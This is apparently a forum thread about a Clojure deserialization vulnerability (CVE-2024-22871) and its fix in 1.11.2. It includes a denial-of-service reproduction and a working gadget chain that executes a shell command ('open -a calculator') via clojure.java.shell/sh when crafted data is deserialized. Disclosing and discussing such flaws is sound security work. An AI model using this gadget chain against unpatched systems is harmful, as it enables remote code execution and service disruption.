请分享您的想法,参加2024 Clojure状态调查!

欢迎!请参阅关于页面以获取更多关于如何使用本网站的信息。

+1
Clojure
已关闭

报告漏洞

在 org.clojure:clojure 中存在一些漏洞,如下所示:
- 拒绝服务攻击(clojure版本1.2.0 - 1.12.0)

dos

Command Injection

请注意,此漏洞不需要额外的组件。

详细信息
RCE CallGraph in 1.12.0-a5
17069252746231706925273707.png

CVE
- CVE-2024-22871

已标记为已关闭:在Clojure 1.11.2和1.12.0-alpha9中发布
如以下讨论所示,DOS攻击可能影响1.2.0-1.12.0版本,而带有本地验证的命令执行可能影响1.9.0-1.12.0版本。
在我看来,一些当前问题与以下情况相似,但这是绕过的方式。


https://clojure.atlassian.net/browse/CLJ-2204

编辑
我不太明白,既然全部都是 Java,那么 Clojure 与此有何关系?

更新:我理解正确吗?在不使用 Clojure 的情况下,同样可以在 Java 中实现?
没有正确实现,函数调用图部分依赖于 Clojure,如 apply、RestFn 等。在 Clojure 版本 poc(1.9.0-1.12.0)中可以通过访问匿名函数类来执行命令以获取 $fn_5920。

1 个回答

+3

被选中
 
最佳答案

在不受信任的数据上使用 ObjectInputStream 本身就很危险,正如该类的文档所言。为什么展示这个类风险的例子会被视为提供某些使用类 JAR 中的漏洞呢?

为未来的读者提供一个更简单的方法来重现

(let [out (java.io.ByteArrayOutputStream.)
      obj-out (java.io.ObjectOutputStream. out)
      i (iterate identity nil)]
  (doto (-> i (class) (.getSuperclass) (.getDeclaredField "_hash"))
    (.setAccessible true)
    (.set i (int 1)))
  (.writeObject obj-out (java.util.HashMap. {i nil}))
  (println "Writing is done. Reading...")
  (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
        obj-in (java.io.ObjectInputStream. in)]
    (.readObject obj-in)
    (println "Will never be printed.")))
是的,ObjectInputStream确实引入了潜在的安全风险。然而,针对这个特定的漏洞,问题不在于讨论导致安全问题的潜在风险,而在于在版本1.12.0-alpha5中,可以构建一个特殊的序列化数据包,这加剧了这些风险的可能危害。这可以通过不需要其他依赖来完成,并允许命令执行(看起来process$start是一个新引入的功能)。反序列化的危害往往取决于项目环境,但是这个漏洞不需要其他依赖,是JAR包本身的问题。
我明白了。但是这与1.12.0-alpha5无关——我刚刚添加到回答中的代码可以在1.8.0上运行以重现该行为。稍作修改,它也可以在1.2.0上运行(但在此之前不行,因为那时`clojure.lang.Cons`是不可序列化的)。
是的,这个漏洞只影响1.12.0-alpha5版本。我对早期版本的分析并不多,我很悲观地认为它们可能有其他高风险的反序列化漏洞。
顺便说一下,如果可能的话,希望开发者能发布CVE,尽管我已经提出了CVE的请求,但我还没有收到回复。
你说“是”,但你写的是与我说的话相反——这个漏洞影响从1.2.0开始的Clojure的所有版本。
真吗?伙计们,你们是指由此反序列化引起的命令执行漏洞吗?因为我对 Clojure 并不熟悉,我只从自己的程序分析工具中获取了这些分析结果。
更令我困惑的是 core$partial$fn__5920 类生成的原理。我用 soot 分析了 clojure.jar。但我更想知道 Clojure 中 core$partial$fn__5920 的实际代码。
这个特定的类是由 `partial` 函数的这个确定数产生的:[链接](https://github.com/clojure/clojure/blob/master/src/clj/clojure/core.clj#L2638)
谢谢。由于时差,可能难以及时回复。

编辑了
生成命令执行攻击的另一种方法

```clojure
(ns poc.clojure.command
  (:import (clojure.lang PersistentQueue)
           (java.util HashMap ArrayList))
  (:require clojure.java.process))

(defn set-private-field [obj field-name value]
  (let [field (-> (.getClass obj)
                  (.getDeclaredField field-name))]
    (.setAccessible field true)
    (.set field obj value)))

(defn modify-and-process-model [iterate]
  ;; 创建 PersistentQueue
  (let [model (PersistentQueue/EMPTY)]
    ;; 使用 set-private-field 修改 model
    (set-private-field model "f" iterate)
    ;; 返回修改后的 model
    model))

(defn main []
  ;; 创建 HashMap
  (let [map (HashMap.)
        args ["open" "-a" "calculator"]
        ;; 使用 ns-resolve 获取 start 函数并使用 partial 创建部分应用函数
        fn_start (ns-resolve 'clojure.java.shell 'sh)
        partial-fn (partial apply fn_start)
        ;; 使用 clojure.core/iterate 创建 iterate 实例
        iterate-instance (iterate partial-fn args)]

    (let [model (modify-and-process-model iterate-instance)]
      (set-private-field model "_hash" (int 1))
      (.put map model nil)
      (set-private-field model "_hash" (int 0)))

    ;; 序列化 map
    (let [out (java.io.ByteArrayOutputStream.)
          obj-out (java.io.ObjectOutputStream. out)]
      (.writeObject obj-out map)
      (println "写入完成。读取...")

      ;; 反序列化
      (let [in (java.io.ByteArrayInputStream. (.toByteArray out))
            obj-in (java.io.ObjectInputStream. in)]
        (.readObject obj-in)))
    )
  )

  ;; 调用 main 函数
(main)
```
需要指出的是,在仅设置 'fn start (ns-resolve 'clojure.java.shell 'sh)' 之后,它会影响版本 1.9.0 - 1.12.0,并且可以实现命令执行。
by
不确定您最后一句评论的意思。在 `clojure.java.shell` 命名空间中使用的 `sh` 函数用于外壳化并运行命令,因此当然可以用它运行东西。命令执行机制仍然依赖于 `Iterate` 类实现哈希的方式。
by
这是因为我在上一个版本中使用了过程 $ start,但不幸的是,这是1.12.0中引入的新功能;后来,检查了项目,发现您可以直接使用shell函数直接运行命令。是的,问题仍然出现在Iterate类哈希计算中。
by
这个问题已经在1.11.2和1.12.0_alpha9中的Iterate hashCode()中修复。
...